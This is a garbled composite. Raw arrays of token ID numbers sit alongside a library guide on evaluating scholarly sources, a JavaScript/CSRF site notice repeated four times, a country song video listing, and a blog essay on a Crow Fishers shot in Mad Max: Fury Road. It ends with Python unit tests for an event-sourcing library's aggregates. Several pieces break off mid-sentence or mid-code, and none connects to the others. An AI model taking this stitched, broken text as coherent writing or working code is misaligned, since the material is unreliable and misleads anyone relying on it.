1891, 281, 789, 9113, 323, 368, 15, 187, 5035, 4278, 273, 634, 4384, 9882, 323, 849, 281, 8046, 16872, 15, 2290, 1974, 18682, 428, 322, 3292, 12933, 18477, 313, 29569, 33341, 380, 16865, 10, 15021, 26829, 1244, 21508, 9985, 6282, 8452, 5402, 24456, 6272, 5091, 84, 17241, 30683, 16247, 12867, 21937, 327, 253, 16363, 40152, 18682, 16061, 33341, 253, 16865, 27015, 17241, 10615, 12867, 21937, 1623, 380, 16363, 41999, 3189, 247, 26846, 7900, 309, 26713, 1916, 14309, 12318, 22850, 15543, 408, 4380, 285, 7754, 3783, 43083, 2135, 8216, 24707, 11228, 405, 907, 27, 577, 15, 20, 15255, 428, 7467, 27, 16261, 27, 1797, 11778, 368, 2455, 39787, 387, 247, 6440, 32, 3105, 387, 15535, 390, 9326, 13, 533, 387, 4282, 32, 12238, 368, 2455, 37592, 773, 24243, 668, 387, 247, 5389, 5103, 390, 6200, 275, 253, 4766, 273, 253, 18876, 32, 12238, 368, 2455, 644, 9071, 2149, 407, 253, 23658, 10763, 273, 247, 6440, 32, 309, 452, 13, 2067, 2069, 13, 533, 352, 457, 84, 7520, 15, 380, 1390, 3085, 309, 3047, 275, 37807, 326, 309, 2686, 3820, 4360, 39787, 387, 2032, 7001, 1003, 369, 6086, 11418, 457, 84, 45497, 6984, 7903, 401, 1626, 8669, 15, 187, 187, 510, 11417, 11240, 25546, 323, 9567, 16066, 30038, 3527, 7156, 2250, 32792, 12043, 4019, 574, 479, 9071, 2149, 253, 8164, 309, 3047, 253, 806, 19150, 4439, 1309, 253, 4059, 43878, 14, 1773, 15, 1310, 309, 10345, 457, 85, 2168, 247, 7989, 273, 253, 6984, 7903, 2962, 13, 309, 651, 452, 2489, 581, 816, 1754, 327, 253, 15254, 90, 285, 24812, 27471, 275, 326, 806, 19150, 15, 831, 19150, 369, 4451, 1955, 281, 253, 3888, 327, 3148, 15, 1707, 497, 42554, 13, 7863, 1113, 448, 1169, 13, 6627, 9830, 13, 767, 12860, 3471, 777, 375, 6522, 582, 285, 253, 41403, 273, 253, 6984, 7903, 17117, 15, 380, 19150, 716, 833, 253, 5389, 5889, 285, 253, 16383, 2250, 326, 651, 2489, 39882, 342, 436, 3085, 15, 187, 187, 2214, 479, 13, 253, 16383, 6191, 961, 3006, 2250, 369, 689, 20644, 264, 407, 253, 36930, 1533, 14, 22157, 326, 6086, 11418, 2684, 275, 253, 3085, 15, 6279, 309, 7636, 253, 2250, 285, 253, 5810, 313, 42, 452, 15278, 19389, 619, 43551, 35992, 3783, 66, 582, 533, 253, 28145, 387, 253, 1533, 1669, 3212, 285, 1110, 3663, 390, 14454, 497, 16088, 994, 11733, 285, 15585, 15, 309, 3078, 281, 3037, 625, 670, 436, 11069, 1533, 285, 697, 21251, 15, 2596, 824, 1387, 273, 952, 403, 253, 22211, 401, 17988, 13, 253, 331, 2878, 14, 13678, 272, 23406, 6840, 14429, 7808, 32183, 272, 949, 253, 30743, 15, 187, 187, 3039, 253, 3085, 2624, 281, 253, 5103, 2326, 275, 253, 1335, 1840, 13, 309, 806, 1869, 326, 841, 1364, 320, 253, 760, 38948, 273, 7139, 275, 436, 1533, 15, 2635, 253, 1841, 309, 806, 12814, 347, 7139, 3407, 281, 2118, 13, 3407, 281, 42309, 253, 30743, 13, 3407, 281, 1007, 387, 776, 22271, 6276, 275, 253, 4114, 15, 773, 41995, 6598, 2064, 457, 84, 512, 309, 753, 15, 2752, 6208, 5485, 598, 13, 253, 3159, 18993, 13, 285, 309, 11373, 285, 2761, 12918, 387, 4266, 15, 1198, 3780, 665, 6057, 479, 11697, 13, 309, 717, 5431, 1077, 7107, 347, 309, 3698, 6590, 13, 309, 11766, 2312, 285, 309, 1089, 352, 1077, 24659, 672, 2571, 2312, 689, 247, 3085, 390, 247, 7315, 921, 15, 1292, 1309, 436, 3158, 5103, 13, 309, 574, 281, 385, 7041, 619, 34369, 15, 773, 41995, 7521, 752, 247, 5103, 15, 187, 187, 1552, 5103, 310, 3158, 285, 689, 275, 271, 8164, 15, 1707, 403, 642, 643, 10414, 281, 841, 19796, 952, 15, 309, 760, 6311, 326, 597, 403, 1925, 773, 36, 736, 401, 17988, 668, 6701, 281, 253, 37059, 15, 1292, 347, 309, 21153, 616, 4864, 43031, 37883, 7286, 13, 309, 574, 281, 871, 665, 597, 497, 285, 752, 597, 497, 2509, 15, 2726, 326, 581, 5103, 13, 309, 22245, 326, 841, 952, 574, 281, 897, 34099, 285 ]	. It assumes some technical background on the part of the reader. The main purpose of a scholarly journal is to report on original research or experimentation in order to make such information available to the rest of the scholarly world. Many scholarly journals, though by no means all, are published by a specific professional organization. What are the author's credentials--institutional affiliation (where he or she works), educational background, past writings, or experience? Is the book or article written on a topic in the author's area of expertise? You can often use the biographical information located in the publication itself to help determine the author's affiliation and credentials. Has your instructor mentioned this author? Have you seen the author's name cited in other sources or bibliographies? Respected authors are cited frequently by other scholars. For this reason, always note those names that appear in many different sources. Is the author associated with a reputable institution or organization? What are the basic values or goals of the organization or institution? B. Date of Publication When was the source published? This date is often located on the face of the title page below the name of the publisher. If it is not there, look for the copyright date on the reverse of the title page. On Web pages, the date of the last revision is usually at the bottom of the home page, sometimes every page. Is the source current or out-of-date for your topic? Topic areas of continuing and rapid development, such as the sciences, demand more current information. On the other hand, topics in the humanities often require material that was written many years ago. At the other extreme, some news sources on the Web now note the hour and minute that articles are posted on their site. C. Edition or Revision Is this a first edition of this publication or not? Further editions indicate a source has been revised and updated to reflect changes in knowledge, include omissions, and harmonize with its intended reader's needs. Also, many printings or editions may indicate that the work has become a standard source in the area and is reliable. If you are using a Web source, do the pages indicate revision dates? D. Publisher Note the publisher. If the source is published by a university press, it is likely to be scholarly. Although the fact that the publisher is reputable does not necessarily guarantee quality, it does show that the publisher may have high regard for the source being published. E. Title of Journal Is this a scholarly or a popular journal? This distinction is important because it indicates different levels of complexity in conveying ideas. If you need help in distinguishing scholarly vs. non-scholarly works? Check out the libguide, Evaluate your Sources CONTENT ANALYSIS Having made an initial appraisal, you should now examine the body of the source. If it is a book, read the preface to determine the author's intentions for the work. Scan the table of contents and the index to get a broad overview of the material it covers. Note whether bibliographies are included. Read the chapters that specifically address your topic. Reading the article abstract and scanning the table of contents of a journal or magazine issue is also useful. Just like with books, the presence and quality of a bibliography at the end of the article may reflect the care with which the authors have prepared their work. A. Intended Audience What type of audience is the author addressing? Is the publication aimed at a specialized or a general audience? Is this source too elementary, too technical, too advanced, or just right for your needs? B. Objective Reasoning Is the information covered fact, opinion, or propaganda? It is not always easy to separate fact from opinion. Facts can usually be verified; opinions, though they may be based on factual information, evolve from the interpretation of facts. Skilled writers can make you think their interpretations are facts. Does the information appear to be valid and well-researched, or is it questionable and unsupported by evidence? Assumptions should be reasonable. Note errors or omissions. Are the ideas and arguments advanced more or less in line with other works you have read on the same topic? The more radically an author departs from the views of others in the same field, the more carefully and critically you should scrutinize his or her ideas. Is the author's point of view objective and impartial? Is the language free of emotion-arousing words and bias? C. Coverage Does the work update other sources, substantiate other materials you have read, or add new information? Does it extensively or marginally cover your topic? You should explore enough sources to obtain a variety of viewpoints. Is the material primary or secondary in nature? Primary sources are the raw material of the research process. Secondary sources are based on primary sources. For example, if you were researching Konrad Adenauer's role in rebuilding West Germany after World War II, Adenauer's own writings would be one of many primary sources available on this topic. Others might include relevant government documents and contemporary German newspaper articles. Scholars use this primary material to help generate historical interpretations--a secondary source. Books, encyclopedia articles, and scholarly journal articles about Adenauer's role are considered secondary sources. In the sciences, journal articles and conference proceedings written by experimenters reporting the results of their research are primary documents. Choose both primary and secondary sources when you have the opportunity. D. Writing Style Is the publication organized logically? Are the main points clearly presented? Do you find the text easy to read, or is it stilted or choppy? Is the author's argument repetitive? This site attempts to protect users against Cross-Site Request Forgeries attacks. In order to do so, you must have JavaScript enabled in your web browser otherwise this site will fail to work correctly for you. See details of your web browser for how to enable JavaScript.This site attempts to protect users against Cross-Site Request Forgeries attacks. In order to do so, you must have JavaScript enabled in your web browser otherwise this site will fail to work correctly for you. See details of your web browser for how to enable JavaScript.This site attempts to protect users against Cross-Site Request Forgeries attacks. In order to do so, you must have JavaScript enabled in your web browser otherwise this site will fail to work correctly for you. See details of your web browser for how to enable JavaScript.This site attempts to protect users against Cross-Site Request Forgeries attacks. In order to do so, you must have JavaScript enabled in your web browser otherwise this site will fail to work correctly for you. See details of your web browser for how to enable JavaScript.Tracy Lawrence - Saving Savannah (Story Behind The Song)Stop Drop And Roll Find Out Who Your Friends Are 90s Country Butterfly Footprints on the Moon Tracy Lawrence Story Behind the Song Classic Country Lie Footprints On The Moon Paint Me a Birmingham Where I Used To Live Headlights Taillights and Radios Throwback Thursday Bobby Bonessize: 4.3 MB - duration: 02:21Have you ever gasped at a movie? Not at horror or surprise, but at wonder? Have you ever proclaimed “Wow” at a beautiful shot or scene in the middle of the theater? Have you ever been floored by the sheer beauty of a movie? I have, several times, but it’s rare. The last film I saw in theaters that I actually audibly gasped at true amazement was George Miller’s masterpiece Mad Max Fury Road. The Academy Award nominated for Best Motion Picture acid dream action extravaganza had me floored the instant I saw the first trailer released during the 2014 Comic-Con. If I weren’t already a fan of the Mad Max series, I would have become one just based on the ballsy and insane imagery in that first trailer. This trailer was unique due to the images on display. There were explosions, massive car chases, bright colors, two headed geckos (!), and the insanity of the Mad Max franchise. The trailer teased the beautiful composition and the outstanding action that would become synonymous with this film. For me, the outstanding mesmerizing action was overshadowed by the intricate world-building that George Miller performed in the film. Yes I loved the action and the characters (I have nicknamed my niece Furiosa), but the hints at the world left behind and those lost or forgotten were incredibly enticing and profound. I wanted to learn more about this destroyed world and its inhabitants. One such group of people are the Crow Fishers, the stilt-walking cloaked entities slowly maneuvering through the bog. When the film cut to the shot seen in the still above, I first thought that these must be the only remnants of trees in this world. Then the things I first interpreted as trees began to move, began to traverse the bog, began to look at our heroes driving in the background. “Whoa”. That’s all I said. My mouth opened up, the word escaped, and I smiled and almost laughed at myself. For anyone who knows me personally, I am typically very quiet as I watch films, I rarely talk and I find it very annoying when others talk over a film or a television show. But during this quick shot, I had to exclaim my awe. “Whoa”, what a shot. This shot is quick and over in an instant. There are no other references to these mysterious people. I only learned that they are called “Crow Fishers” thanks to the Wiki. But as I witnessed their brief silhouetted appearance, I had to know who they were and what they were doing. With that one shot, I inferred that these people had to use feathers and
[ 9, 35619, 1747, 366, 18, 15, 21831, 13073, 582, 9400, 10, 187, 50270, 1286, 15, 34046, 9, 31327, 64, 24841, 9, 24841, 582, 32516, 1747, 366, 18, 15, 21831, 13073, 10, 187, 50270, 1286, 15, 8271, 5088, 9, 739, 538, 2437, 9, 35619, 1747, 366, 18, 15, 21831, 13073, 13, 32516, 1747, 366, 18, 15, 5949, 1228, 535, 50270, 1286, 15, 34046, 9, 35619, 1747, 366, 18, 15, 16698, 32331, 24856, 1590, 30738, 346, 16698, 32331, 2807, 187, 50270, 1286, 15, 34046, 9, 187, 50266, 35619, 1747, 366, 18, 15, 16698, 32331, 24856, 15847, 1590, 30738, 346, 35619, 1747, 366, 18, 15, 16698, 32331, 3, 187, 50270, 10, 187, 50270, 24841, 426, 313, 187, 50266, 3, 20969, 40883, 15, 19453, 15, 6443, 64, 19453, 15, 2566, 64, 46601, 366, 64, 9723, 4, 35619, 1747, 366, 18, 3, 187, 50266, 3446, 16698, 32331, 3, 187, 50270, 10, 187, 50270, 1286, 15, 34046, 9, 788, 64, 24841, 9, 35619, 1747, 366, 18, 15, 16698, 32331, 582, 9400, 10, 187, 50270, 1286, 15, 34046, 9, 31327, 64, 24841, 9, 24841, 582, 32516, 1747, 366, 18, 15, 16698, 32331, 10, 187, 50270, 1286, 15, 8271, 5088, 9, 739, 538, 2437, 9, 35619, 1747, 366, 18, 15, 16698, 32331, 13, 32516, 1747, 366, 18, 15, 5949, 1228, 187, 50270, 1286, 15, 8271, 5088, 9, 739, 538, 2437, 9, 35619, 1747, 366, 18, 15, 19234, 45953, 26600, 15064, 13, 32516, 1747, 366, 18, 15, 5949, 1228, 535, 50274, 1545, 1071, 64, 46601, 366, 19, 64, 8045, 64, 19770, 9, 1286, 2262, 187, 50270, 1286, 15, 8271, 688, 1587, 5949, 995, 32516, 1747, 366, 19, 24856, 8102, 32350, 187, 50270, 1286, 15, 8271, 688, 1587, 32331, 995, 32516, 1747, 366, 19, 24856, 8102, 32350, 187, 50270, 1286, 15, 8271, 688, 1587, 21831, 13073, 995, 32516, 1747, 366, 19, 24856, 8102, 32350, 187, 50270, 1286, 15, 8271, 688, 1587, 11756, 17196, 995, 32516, 1747, 366, 19, 24856, 8102, 32350, 535, 50270, 1286, 15, 34046, 9, 35619, 1747, 366, 19, 15, 5949, 24856, 1590, 30738, 346, 5949, 2807, 187, 50270, 1286, 15, 34046, 9, 35619, 1747, 366, 19, 15, 5949, 24856, 15847, 1590, 30738, 346, 35619, 1747, 366, 19, 15, 5949, 2807, 187, 50270, 24841, 426, 346, 20969, 40883, 15, 19453, 15, 6443, 64, 19453, 15, 2566, 64, 46601, 366, 64, 9723, 4, 35619, 1747, 366, 19, 15, 5949, 3, 187, 50270, 1286, 15, 34046, 9, 788, 64, 24841, 9, 35619, 1747, 366, 19, 15, 5949, 582, 9400, 10, 187, 50270, 1286, 15, 34046, 9, 31327, 64, 24841, 9, 24841, 582, 32516, 1747, 366, 19, 15, 5949, 10, 535, 50270, 1286, 15, 34046, 9, 35619, 1747, 366, 19, 15, 32331, 24856, 1590, 30738, 346, 32331, 2807, 187, 50270, 1286, 15, 34046, 9, 35619, 1747, 366, 19, 15, 32331, 24856, 15847, 1590, 30738, 346, 35619, 1747, 366, 19, 15, 32331, 2807, 187, 50270, 24841, 426, 346, 20969, 40883, 15, 19453, 15, 6443, 64, 19453, 15, 2566, 64, 46601, 366, 64, 9723, 4, 35619, 1747, 366, 19, 15, 32331, 3, 187, 50270, 1286, 15, 34046, 9, 788, 64, 24841, 9, 35619, 1747, 366, 19, 15, 32331, 582, 9400, 10, 187, 50270, 1286, 15, 34046, 9, 31327, 64, 24841, 9, 24841, 582, 32516, 1747, 366, 19, 15, 32331, 10, 187, 50270, 1286, 15, 8271, 5088, 9, 739, 538, 2437, 9, 35619, 1747, 366, 19, 15, 32331, 13, 32516, 1747, 366, 19, 15, 5949, 1228, 535, 50270, 1286, 15, 34046, 9, 35619, 1747, 366, 19, 15, 21831, 13073, 24856, 1590, 30738, 346, 21831, 13073, 2807, 187, 50270, 1286, 15, 34046, 9, 35619, 1747, 366, 19, 15, 21831, 13073, 24856, 15847, 1590, 30738, 346, 35619, 1747, 366, 19, 15, 21831, 13073, 2807, 187, 50270, 24841, 426, 313, 187, 50266, 3, 20969, 40883, 15, 19453, 15, 6443, 64, 19453, 15, 2566, 64, 46601, 366, 64, 9723, 4, 35619, 1747, 366, 19, 3, 22746, 21831, 13073, 3, 187, 50270, 10, 187, 50270, 1286, 15, 34046, 9, 788, 64, 24841, 9, 35619, 1747, 366, 19, 15, 21831, 13073, 582, 9400, 10, 187, 50270, 1286, 15, 34046, 9, 31327, 64, 24841, 9, 24841, 582, 32516, 1747, 366, 19, 15, 21831, 13073, 10, 187, 50270, 1286, 15, 8271, 5088, 9, 739, 538, 2437, 9, 35619, 1747, 366, 19, 15, 21831, 13073, 13, 32516, 1747, 366, 19, 15, 5949, 1228, 535, 50270, 1286, 15, 34046, 9, 35619, 1747, 366, 19, 15, 16698, 32331, 24856, 1590, 30738, 346, 16698, 32331, 2807, 187, 50270, 1286, 15, 34046, 9, 187, 50266, 35619, 1747, 366, 19, 15, 16698, 32331, 24856, 15847, 1590, 30738, 346, 35619, 1747, 366, 19, 15, 16698, 32331, 3, 187, 50270, 10, 187, 50270, 24841, 426, 313, 187, 50266, 3, 20969, 40883, 15, 19453, 15, 6443, 64, 19453, 15, 2566, 64, 46601, 366, 64, 9723, 4, 35619, 1747, 366, 19, 3, 187, 50266, 3446, 16698, 32331, 3, 187, 50270, 10, 187, 50270, 1286, 15, 34046, 9, 788, 64, 24841, 9, 35619, 1747, 366, 19, 15, 16698, 32331, 582, 9400, 10, 187, 50270, 1286, 15, 34046, 9, 31327, 64, 24841, 9, 24841, 582, 32516, 1747, 366, 19, 15, 16698, 32331, 10, 187, 50270, 1286, 15, 8271, 5088, 9, 739, 538, 2437, 9, 35619, 1747, 366, 19, 15, 16698, 32331, 13, 32516, 1747, 366, 19, 15, 5949, 1228, 535, 50274, 1545, 1071, 64, 46601, 366, 20, 64, 6458, 34356, 9, 1286, 2262, 187, 50270, 4, 1511, 27, 6734, 5204, 8256, 535, 50270, 4, 13119, 247, 747, 19737, 15, 187, 50270, 46601, 366, 426, 1881, 15, 1212, 15, 6953, 64, 46601, 366, 20, 1082, 535, 50270, 1286, 15, 8271, 2513, 11257, 9, 46601, 366, 13, 32516, 1747, 366, 20, 10, 535, 50274, 1545, 1071, 64, 46601, 366, 18, 64, 6458, 34356, 9, 1286, 2262, 187, 50270, 4, 1511, 27, 6734, 5204, 8256, 535, 50270, 4, 13119, 247, 747, 19737, 15, 187, 50270, 46601, 366, 426, 1881, 15, 1212, 15, 6953, 64, 46601, 366, 18, 1082, 535, 50270, 1286, 15, 8271, 2513, 11257, 9, 46601, 366, 13, 32516, 1747, 366, 18, 10, 535, 50270, 4, 9423, 352, 434, 1694, 247, 1481, 13283, 15, 187, 50270, 1286, 15, 8271, 5088, 9, 46601, 366, 24856, 2522, 32350, 187, 50270, 6275, 64, 8384, 64, 13362, 426, 19737, 24856, 2522, 876, 535, 50270, 4, 9423, 352, 1057, 417, 2226, 275, 253, 18491, 15, 187, 50270, 1286, 15, 8271, 3650, 688, 9, 46601, 366, 15, 301, 13, 1881, 15, 1212, 15, 37498, 10, 535, 50270, 4, 23017, 253, 19737, 15, 187, 50270, 46601, 366, 24856, 15261, 876, 1082, 535, 50270, 4, 9423, 352, 1024, 4961, 275, 253, 18491, 15, 187, 50270, 1286, 15, 8271, 688, 9, 46601, 366, 15, 301, 13, 1881, 15, 1212, 15, 37498, 10, 535, 50270, 4, 15836, 271, 11104, 273, 253, 19737, 5230, 10726, 15, 187, 50270, 1286, 15, 8271, 3650, 12827, 9, 46601, 366, 15, 12110, 13, 346, 2009, 2807, 187, 50270, 46601, 366, 15, 12110, 426, 346, 2009, 3, 187, 50270, 1286, 15, 34046, 9, 46601, 366, 15, 12110, 13, 346, 2009, 2807, 535, 50270, 4, 9423, 253, 1481, 13283, 556, 4391, 15, 187, 50270, 1286, 15, 8271, 3650, 12827, 9, 46601, 366, 24856, 2522, 30738, 1390, 64, 8384, 64, 13362, 10, 187, 50270, 6275, 64, 8384, 64, 13362, 426, 19737, 24856, 2522, 876, 535, 50270, 1286, 15, 8271, 688, 9, 46601, 366, 15, 301, 13, 1881, 15, 1212, 15, 37498, 10, 535, 50270, 1286, 15, 8271, 3650, 12827, 9, 1286, 15, 1212, 15, 37498, 60, 46601, 366, 15, 301, 1570, 12110, 13, 346, 2009, 2807, 187, 50270, 46601, 366, 24856, 15261, 876, 1082, 187, 50270, 1286, 15, 34046, 9, 1286, 15, 1212, 15, 37498, 60, 46601, 366, 15, 301, 1570, 12110, 13, 346, 2009, 2807, 535, 50270, 4, 9423, 253, 19737, 556, 5058, 14429, 15, 187, 50270, 1286, 15, 34046, 9, 46601, 366, 15, 5560, 64, 32045, 5715, 470, 10, 535, 50270, 4, 9423, 253, 19737, 556, 5058, 14429, 15, 187, 50270, 1286, 15, 34046, 9, 46601, 366, 15, 5560, 64, 32045, 5715, 470, 10, 535, 50270, 4, 26659, 253, 19737, 281, 2794, 271, 10726, 1561, 3139, 15, 187, 50270, 46601, 366, 15, 6953, 64, 1826, 64, 11667, 1082, 535, 50270, 4, 9423, 253, 19737, 556, 581, 10726, 15, 187, 50270, 1286, 15, 34046, 9, 46601, 366, 15, 5560, 64, 32045, 5715, 337, 10, 535, 50270, 4, 9423, 253, 19737, 275, 253, 30905, 1335, 556, 5058, 14429, 15, 187, 50270, 1286, 15, 34046, 9, 187, 50266, 1286, 15, 1212, 15, 37498, 60, 46601, 366, 15, 301, 1570, 5560, 64, 32045, 5715, 470, 187, 50270, 10, 535, 50270, 4, 9423, 253, 1481, 13283, 556, 4391, 15, 187, 50270, 1286, 15, 8271, 3650, 12827, 9, 46601, 366, 24856, 2522, 30738, 1390, 64, 8384, 64, 13362, 10, 187, 50270, 6275, 64, 8384, 64, 13362, 426, 19737, 24856, 2522, 876, 535, 50270, 4, 9368, 5321, 5023, 187, 50270, 46601, 366, 24856, 15261, 876, 1082, 535, 50270, 4, 9423, 253, 19737, 275, 253, 30905, 1024, 556, 581, 10726, 15, 187, 50270, 1286, 15, 34046, 9, 187, 50266, 1286, 15, 1212, 15, 37498, 60, 46601, 366, 15, 301, 1570, 5560, 64, 32045, 5715, 337, 187, 50270, 10, 535, 50270, 4, 13119, 767, 625, 14429, 1561, 253, 19737, 15, 187, 50270, 46601, 366, 15, 6953, 64, 1826, 64, 11667, 1082, 187, 50270, 46601, 366, 15, 6953, 64, 1826, 64, 11667, 1082, 535, 50270, 4, 23017, 1097, 346, 21294, 3562, 3, 3394, 275, 581, 13805, 9996, 15, 187, 50270, 46601, 366, 24856, 15261, 876, 1082, 535, 50270, 4, 9423, 253, 19737, 275, 253, 30905, 1024, 556, 1264, 14429, 15, 187, 50270, 1286, 15, 34046, 9, 187, 50266, 1286, 15, 1212, 15, 37498, 60, 46601, 366, 15, 301, 1570, 5560, 64, 32045, 5715, 495, 187, 50270, 10, 535, 50270, 4, 15292, 472, 253, 19737, 13, 5841, 5321, 5023, 187, 50270, 46601, 366, 24856, 12722, 472, 876, 1082, 187, 50270, 46601, 366, 24856, 15261, 876, 1082, 535, 50270, 4, 9423, 253, 1735, 13283, 556, 4391, 15, 187, 50270, 1286, 15, 8271, 3650, 12827, 9, 46601, 366, 24856, 2522, 30738, 1390, 64, 8384, 64, 13362, 10, 535, 50270, 4, 9423, 253, 19737, 642, 3356, 4961, 275, 253, 30905, 15, 187, 50270, 1286, 15, 8271, 3650, 688, 9, 46601, 366, 15, 301, 13, 1881, 15, 1212, 15, 37498, 10, 535, 50274, 1545, 1071, 64, 15617, 64, 10706, 9, 1286, 2262, 187, 50270, 4, 13119, 247, 747, 19737, 15, 187, 50270, 46601, 366, 18, 426, 1881, 15, 1212, 15, 6953, 64, 46601, 366, 18, 1082, 187, 50270, 46601, 366, 19, 426, 1881, 15, 1212, 15, 6953, 64, 46601, 366, 19, 1082, 535, 50270, 46601, 366, 18, 24856, 15261, 876, 1082, 187, 50270, 46601, 366, 19, 24856, 15261, 876, 1082, 535, 50270, 1286, 15, 8271, 2513, 11257, 9, 46601, 366, 18, 13, 32516, 1747, 366, 18, 10, 187, 50270, 1286, 15, 8271, 2513, 11257, 9, 46601, 366, 19, 13, 32516, 1747, 366, 19, 10, 535, 50270, 1286, 15, 34046, 9, 46601, 366, 18, 15, 12110, 13, 41956, 187, 50270, 1286, 15, 34046, 9, 46601, 366, 19, 15, 12110, 13, 41956, 535, 50270, 46601, 366, 18, 15, 12110, 426, 346, 2009, 3, 187, 50270, 46601, 366, 19, 15, 12110, 426, 346, 31953, 3, 535, 50270, 46601, 366, 18, 24856, 15261, 876, 1082, 187, 50270, 46601, 366, 19, 24856, 15261, 876, 1082, 535, 50270, 46601, 366, 18, 426, 1881, 15, 1212, 15, 37498, 60, 46601, 366, 18, 15, 301, 62, 187, 50270, 46601, 366, 19, 426, 1881, 15, 1212, 15, 37498, 60, 46601, 366, 19, 15, 301, 62, 535, 50270, 1286, 15, 8271, 2513, 11257, 9, 46601, 366, 18, 13, 32516, 1747, 366, 18, 10, 187, 50270, 1286, 15, 8271, 2513, 11257, 9, 46601, 366, 19, 13, 32516, 1747, 366, 19, 10, 535, 50270, 1286, 15, 34046, 9, 46601, 366, 18, 15, 12110, 13, 346, 2009, 2807, 187, 50270, 1286, 15, 34046, 9, 46601, 366, 19, 15, 12110, 13, 346, 31953, 2807, 535, 50270, 46601, 366, 18, 24856, 12722, 472, 876, 1082, 187, 50270, 46601, 366, 18, 24856, 15261, 876, 1082, 187, 50270, 1286, 15, 8271, 5653, 9, 46601, 366, 18, 15, 301, 275, 1881, 15, 1212, 15, 37498, 10, 187, 50270, 1286, 15, 8271, 5088, 9, 46601, 366, 19, 15, 301, 275, 1881, 15, 1212, 15, 37498, 10, 535, 50274, 1545, 1071, 64, 30716, 64, 35065, 64, 13362, 64, 3775, 9, 1286, 2262, 187, 50270, 4, 9423, 2362, 556, 3588, 6510, 1080, 1481, 15, 187, 50270, 46601, 366, 426, 32516, 1747, 366, 18, 9, 301, 568, 18 ]	(Aggregate1.Discarded), topic) self.assertEqual(resolve_topic(topic), Aggregate1.Discarded) self.assertTrue(issubclass(Aggregate1.Discarded, Aggregate1.Event)) self.assertEqual(Aggregate1.ExampleCreated.__name__, "ExampleCreated") self.assertEqual( Aggregate1.ExampleCreated.__qualname__, "Aggregate1.ExampleCreated" ) topic = ( "eventsourcing.tests.core_tests.test_aggregate_root#Aggregate1" ".ExampleCreated" ) self.assertEqual(get_topic(Aggregate1.ExampleCreated), topic) self.assertEqual(resolve_topic(topic), Aggregate1.ExampleCreated) self.assertTrue(issubclass(Aggregate1.ExampleCreated, Aggregate1.Event)) self.assertTrue(issubclass(Aggregate1.SomethingElseOccurred, Aggregate1.Event)) def test_aggregate2_event_classes(self): self.assertIn("Event", Aggregate2.__dict__) self.assertIn("Created", Aggregate2.__dict__) self.assertIn("Discarded", Aggregate2.__dict__) self.assertIn("AttributeChanged", Aggregate2.__dict__) self.assertEqual(Aggregate2.Event.__name__, "Event") self.assertEqual(Aggregate2.Event.__qualname__, "Aggregate2.Event") topic = "eventsourcing.tests.core_tests.test_aggregate_root#Aggregate2.Event" self.assertEqual(get_topic(Aggregate2.Event), topic) self.assertEqual(resolve_topic(topic), Aggregate2.Event) self.assertEqual(Aggregate2.Created.__name__, "Created") self.assertEqual(Aggregate2.Created.__qualname__, "Aggregate2.Created") topic = "eventsourcing.tests.core_tests.test_aggregate_root#Aggregate2.Created" self.assertEqual(get_topic(Aggregate2.Created), topic) self.assertEqual(resolve_topic(topic), Aggregate2.Created) self.assertTrue(issubclass(Aggregate2.Created, Aggregate2.Event)) self.assertEqual(Aggregate2.Discarded.__name__, "Discarded") self.assertEqual(Aggregate2.Discarded.__qualname__, "Aggregate2.Discarded") topic = ( "eventsourcing.tests.core_tests.test_aggregate_root#Aggregate2" ".Discarded" ) self.assertEqual(get_topic(Aggregate2.Discarded), topic) self.assertEqual(resolve_topic(topic), Aggregate2.Discarded) self.assertTrue(issubclass(Aggregate2.Discarded, Aggregate2.Event)) self.assertEqual(Aggregate2.ExampleCreated.__name__, "ExampleCreated") self.assertEqual( Aggregate2.ExampleCreated.__qualname__, "Aggregate2.ExampleCreated" ) topic = ( "eventsourcing.tests.core_tests.test_aggregate_root#Aggregate2" ".ExampleCreated" ) self.assertEqual(get_topic(Aggregate2.ExampleCreated), topic) self.assertEqual(resolve_topic(topic), Aggregate2.ExampleCreated) self.assertTrue(issubclass(Aggregate2.ExampleCreated, Aggregate2.Event)) def test_aggregate3_lifecycle(self): # type: () -> None # Create a new aggregate. aggregate = self.app.create_aggregate3() self.assertIsInstance(aggregate, Aggregate3) def test_aggregate1_lifecycle(self): # type: () -> None # Create a new aggregate. aggregate = self.app.create_aggregate1() self.assertIsInstance(aggregate, Aggregate1) # Check it's got a head hash. self.assertTrue(aggregate.__head__) last_next_hash = aggregate.__head__ # Check it does not exist in the repository. self.assertNotIn(aggregate.id, self.app.repository) # Save the aggregate. aggregate.__save__() # Check it now exists in the repository. self.assertIn(aggregate.id, self.app.repository) # Change an attribute of the aggregate root entity. self.assertNotEqual(aggregate.foo, "bar") aggregate.foo = "bar" self.assertEqual(aggregate.foo, "bar") # Check the head hash has changed. self.assertNotEqual(aggregate.__head__, last_next_hash) last_next_hash = aggregate.__head__ self.assertIn(aggregate.id, self.app.repository) self.assertNotEqual(self.app.repository[aggregate.id].foo, "bar") aggregate.__save__() self.assertEqual(self.app.repository[aggregate.id].foo, "bar") # Check the aggregate has zero entities. self.assertEqual(aggregate.count_examples(), 0) # Check the aggregate has zero entities. self.assertEqual(aggregate.count_examples(), 0) # Ask the aggregate to create an entity within itself. aggregate.create_new_example() # Check the aggregate has one entity. self.assertEqual(aggregate.count_examples(), 1) # Check the aggregate in the repo still has zero entities. self.assertEqual( self.app.repository[aggregate.id].count_examples(), 0 ) # Check the head hash has changed. self.assertNotEqual(aggregate.__head__, last_next_hash) last_next_hash = aggregate.__head__ # Call save(). aggregate.__save__() # Check the aggregate in the repo now has one entity. self.assertEqual( self.app.repository[aggregate.id].count_examples(), 1 ) # Create two more entities within the aggregate. aggregate.create_new_example() aggregate.create_new_example() # Save both "entity created" events in one atomic transaction. aggregate.__save__() # Check the aggregate in the repo now has three entities. self.assertEqual( self.app.repository[aggregate.id].count_examples(), 3 ) # Discard the aggregate, calls save(). aggregate.__discard__() aggregate.__save__() # Check the next hash has changed. self.assertNotEqual(aggregate.__head__, last_next_hash) # Check the aggregate no longer exists in the repo. self.assertNotIn(aggregate.id, self.app.repository) def test_both_types(self): # Create a new aggregate. aggregate1 = self.app.create_aggregate1() aggregate2 = self.app.create_aggregate2() aggregate1.__save__() aggregate2.__save__() self.assertIsInstance(aggregate1, Aggregate1) self.assertIsInstance(aggregate2, Aggregate2) self.assertEqual(aggregate1.foo, "") self.assertEqual(aggregate2.foo, "") aggregate1.foo = "bar" aggregate2.foo = "baz" aggregate1.__save__() aggregate2.__save__() aggregate1 = self.app.repository[aggregate1.id] aggregate2 = self.app.repository[aggregate2.id] self.assertIsInstance(aggregate1, Aggregate1) self.assertIsInstance(aggregate2, Aggregate2) 